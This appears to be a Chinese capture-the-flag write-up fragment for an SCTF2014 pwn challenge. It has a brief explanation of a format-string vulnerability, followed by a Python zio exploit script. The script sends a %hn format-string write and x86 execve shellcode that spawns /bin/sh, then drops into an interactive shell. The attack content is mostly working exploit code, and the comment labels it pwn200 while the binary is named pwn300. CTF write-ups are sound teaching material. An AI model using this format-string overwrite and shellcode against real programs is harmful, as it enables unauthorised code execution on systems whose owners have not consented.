一個明顯的格式化字串漏洞,格式化字串本身是在bss段中的,但是又複製到區域性陣列裡了,想必是出題人為了降低難度。這個也給出了libc。但是沒有辦法像棧溢位那樣leak出got表的內容。雖然可以向任意地址寫但是卻不知道改寫入的地址是多少。第二個問題就是引數,要想執行system就得構造/bin/sh這個引數。這個引數怎麼搞?
1 #SCTF2014 pwn200
2 #exp by Ox9A82
3 from zio import *
4 import time
5 io=zio('./pwn300')
6
7 chuan1='\x20\x91\x04\x08%37248c%7$hn\n'
8 shellcode="\x31\xc0\x31\xd2\x31\xdb\x31\xc9\x31\xc0\x31\xd2\x52\x68\x2f\x2f" \
9 "\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0" \
10 "\x0b\xcd\x80\n"
11
12 io.read_until('choice:')
13 io.write('2\n')
14 io.read_until('message')
15 io.write(chuan1)
16 io.read_until('choice:')
17 io.write('3\n')
18
19 io.read_until('choice:')
20 io.write('2\n')
21 io.read_until('message')
22 io.write(shellcode)
23 io.read_until('choice:')
24 io.write('4\n')
25
26 io.interact()